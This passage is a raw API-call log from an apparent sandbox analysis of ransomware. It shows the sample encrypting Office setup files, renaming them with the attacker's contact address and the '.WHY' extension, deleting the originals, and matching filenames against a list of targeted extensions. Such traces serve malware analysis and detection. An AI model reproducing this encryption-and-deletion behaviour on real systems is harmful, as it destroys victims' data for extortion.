(normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0081.419] GetLastError () returned 0x0 [0081.419] ReadFile (in: hFile=0x1c8, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x5ac, lpOverlapped=0x0) returned 1 [0081.463] WriteFile (in: hFile=0x204, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0081.465] ReadFile (in: hFile=0x1c8, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0081.466] WriteFile (in: hFile=0x204, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0081.466] SetEndOfFile (hFile=0x204) returned 1 [0081.466] CloseHandle (hObject=0x204) returned 1 [0081.761] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0081.761] SetEndOfFile (hFile=0x1c8) returned 1 [0081.765] CloseHandle (hObject=0x1c8) returned 1 [0081.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0081.765] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0081.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.766] lstrlenW (lpString=".doc") returned 4 [0081.766] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.766] lstrlenW (lpString=".docx") returned 5 [0081.766] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0081.766] lstrlenW (lpString=".pdf") returned 4 [0081.766] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.766] lstrlenW (lpString=".xls") returned 4 [0081.766] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.767] lstrlenW (lpString=".xlsx") returned 5 [0081.767] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0081.767] lstrlenW (lpString=".ppt") returned 4 [0081.767] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.767] lstrlenW (lpString=".zip") returned 4 [0081.767] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.767] lstrlenW (lpString=".rar") returned 4 [0081.767] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.767] lstrlenW (lpString=".bz2") returned 4 [0081.767] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.767] lstrlenW (lpString=".7z") returned 3 [0081.767] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.768] lstrlenW (lpString=".dbf") returned 4 [0081.768] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.768] lstrlenW (lpString=".1cd") returned 4 [0081.768] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.768] lstrlenW (lpString=".jpg") returned 4 [0081.768] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.768] lstrlenW (lpString=".doc") returned 4 [0081.768] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.769] lstrlenW (lpString=".docx") returned 5 [0081.769] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0081.769] lstrlenW (lpString=".pdf") returned 4 [0081.769] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.769] lstrlenW (lpString=".xls") returned 4 [0081.769] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.769] lstrlenW (lpString=".xlsx") returned 5 [0081.769] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0081.769] lstrlenW (lpString=".ppt") returned 4 [0081.769] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.769] lstrlenW (lpString=".zip") returned 4 [0081.769] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.769] lstrlenW (lpString=".rar") returned 4 [0081.769] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.769] lstrlenW (lpString=".bz2") returned 4 [0081.770] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.770] lstrlenW (lpString=".7z") returned 3 [0081.770] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.770] lstrlenW (lpString=".dbf") returned 4 [0081.770] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.770] lstrlenW (lpString=".1cd") returned 4 [0081.770] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.770] lstrlenW (lpString=".jpg") returned 4 [0081.770] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.771] lstrcmpiW (lpString1=".CHM", lpString2=".WHY") returned -1 [0081.771] lstrlenW (lpString="OCT.CHM") returned 7 [0081.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0082.296] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=71236) returned 1 [0082.296] CloseHandle (hObject=0x210) returned 1 [0082.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0082.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0082.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0082.297] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0082.297] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0082.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0082.298] GetLastError () returned 0x0 [0082.298] ReadFile (in: hFile=0x210, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x11644, lpOverlapped=0x0) returned 1 [0082.304] WriteFile (in: hFile=0x1e4, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x11650, lpOverlapped=0x0) returned 1 [0082.311] ReadFile (in: hFile=0x210, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0082.311] WriteFile (in: hFile=0x1e4, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xe2, lpOverlapped=0x0) returned 1 [0082.311] SetEndOfFile (hFile=0x1e4) returned 1 [0082.311] CloseHandle (hObject=0x1e4) returned 1 [0082.314] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0082.314] SetEndOfFile (hFile=0x210) returned 1 [0082.317] CloseHandle (hObject=0x210) returned 1 [0082.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0082.318] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0082.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0082.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0082.319] lstrlenW (lpString=".doc") returned 4 [0082.319] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0082.319] lstrlenW (lpString=".docx") returned 5 [0082.319] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0082.319] lstrlenW (lpString=".pdf") returned 4 [0082.319] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0082.319] lstrlenW (lpString=".xls") returned 4 [0082.319] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0082.319] lstrlenW (lpString=".xlsx") returned 5 [0082.319] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0082.319] lstrlenW (lpString=".ppt") returned 4 [0082.319] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0082.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0082.320] lstrlenW (lpString=".zip") returned 4 [0082.320] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0082.320] lstrlenW (lpString=".rar") returned 4 [0082.320] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0082.320] lstrlenW (lpString=".bz2") returned 4 [0082.320] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0082.320] lstrlenW (lpString=".7z") returned 3 [0082.320] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0082.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0082.320] lstrlenW (lpString=".dbf") returned 4 [0082.320] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0082.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0082.320] lstrlenW (lpString=".1cd") returned 4 [0082.320] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0082.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0082.320] lstrlenW (lpString=".jpg") returned 4 [0082.320] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0082.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0082.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0082.321] lstrlenW (lpString=".doc") returned 4 [0082.321] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0082.321] lstrlenW (lpString=".docx") returned 5 [0082.321] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0082.321] lstrlenW (lpString=".pdf") returned 4 [0082.321] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0082.321] lstrlenW (lpString=".xls") returned 4 [0082.321] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0082.321] lstrlenW (lpString=".xlsx") returned 5 [0082.321] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0082.321] lstrlenW (lpString=".ppt") returned 4 [0082.321] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0082.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0082.321] lstrlenW (lpString=".zip") returned 4 [0082.322] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0082.322] lstrlenW (lpString=".rar") returned 4 [0082.322] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0082.322] lstrlenW (lpString=".bz2") returned 4 [0082.322] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0082.322] lstrlenW (lpString=".7z") returned 3 [0082.322] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0082.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0082.322] lstrlenW (lpString=".dbf") returned 4 [0082.322] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0082.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0082.322] lstrlenW (lpString=".1cd") returned 4 [0082.322] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0082.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0082.322] lstrlenW (lpString=".jpg") returned 4 [0082.322] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0082.323] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0082.323] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0082.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0083.192] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=819) returned 1 [0083.192] CloseHandle (hObject=0x210) returned 1 [0083.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0083.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0083.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0083.193] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0083.193] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0083.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0083.194] GetLastError () returned 0x0 [0083.194] ReadFile (in: hFile=0x210, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x333, lpOverlapped=0x0) returned 1 [0083.557] WriteFile (in: hFile=0x17c, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x340, lpOverlapped=0x0) returned 1 [0083.560] ReadFile (in: hFile=0x210, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0083.560] WriteFile (in: hFile=0x17c, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xf4, lpOverlapped=0x0) returned 1 [0083.560] SetEndOfFile (hFile=0x17c) returned 1 [0083.560] CloseHandle (hObject=0x17c) returned 1 [0083.566] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0083.566] SetEndOfFile (hFile=0x210) returned 1 [0083.569] CloseHandle (hObject=0x210) returned 1 [0083.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0083.570] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0083.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0083.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0083.580] lstrlenW (lpString=".doc") returned 4 [0083.580] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0083.580] lstrlenW (lpString=".docx") returned 5 [0083.580] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0083.580] lstrlenW (lpString=".pdf") returned 4 [0083.580] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0083.581] lstrlenW (lpString=".xls") returned 4 [0083.581] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0083.581] lstrlenW (lpString=".xlsx") returned 5 [0083.581] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0083.581] lstrlenW (lpString=".ppt") returned 4 [0083.581] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0083.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0083.581] lstrlenW (lpString=".zip") returned 4 [0083.581] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0083.581] lstrlenW (lpString=".rar") returned 4 [0083.581] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0083.581] lstrlenW (lpString=".bz2") returned 4 [0083.582] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0083.582] lstrlenW (lpString=".7z") returned 3 [0083.582] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0083.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0083.582] lstrlenW (lpString=".dbf") returned 4 [0083.582] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0083.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0083.582] lstrlenW (lpString=".1cd") returned 4 [0083.582] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0083.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0083.582] lstrlenW (lpString=".jpg") returned 4 [0083.583] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0083.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0083.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0083.583] lstrlenW (lpString=".doc") returned 4 [0083.586] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0083.586] lstrlenW (lpString=".docx") returned 5 [0083.586] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0083.586] lstrlenW (lpString=".pdf") returned 4 [0083.586] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0083.586] lstrlenW (lpString=".xls") returned 4 [0083.586] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0083.586] lstrlenW (lpString=".xlsx") returned 5 [0083.587] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0083.587] lstrlenW (lpString=".ppt") returned 4 [0083.587] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0083.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0083.587] lstrlenW (lpString=".zip") returned 4 [0083.587] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0083.587] lstrlenW (lpString=".rar") returned 4 [0083.587] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0083.588] lstrlenW (lpString=".bz2") returned 4 [0083.588] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0083.588] lstrlenW (lpString=".7z") returned 3 [0083.588] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0083.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0083.588] lstrlenW (lpString=".dbf") returned 4 [0083.588] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0083.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0083.588] lstrlenW (lpString=".1cd") returned 4 [0083.588] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0083.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0083.588] lstrlenW (lpString=".jpg") returned 4 [0083.589] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0083.589] lstrcmpiW (lpString1=".CHM", lpString2=".WHY") returned -1 [0083.589] lstrlenW (lpString="SETUP.CHM") returned 9 [0083.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 9 os_tid = 0x7b4 [0059.093] GetTickCount () returned 0x11570ec [0059.093] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x24) returned 0x50bd28 [0059.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x50bd28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154 [0059.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 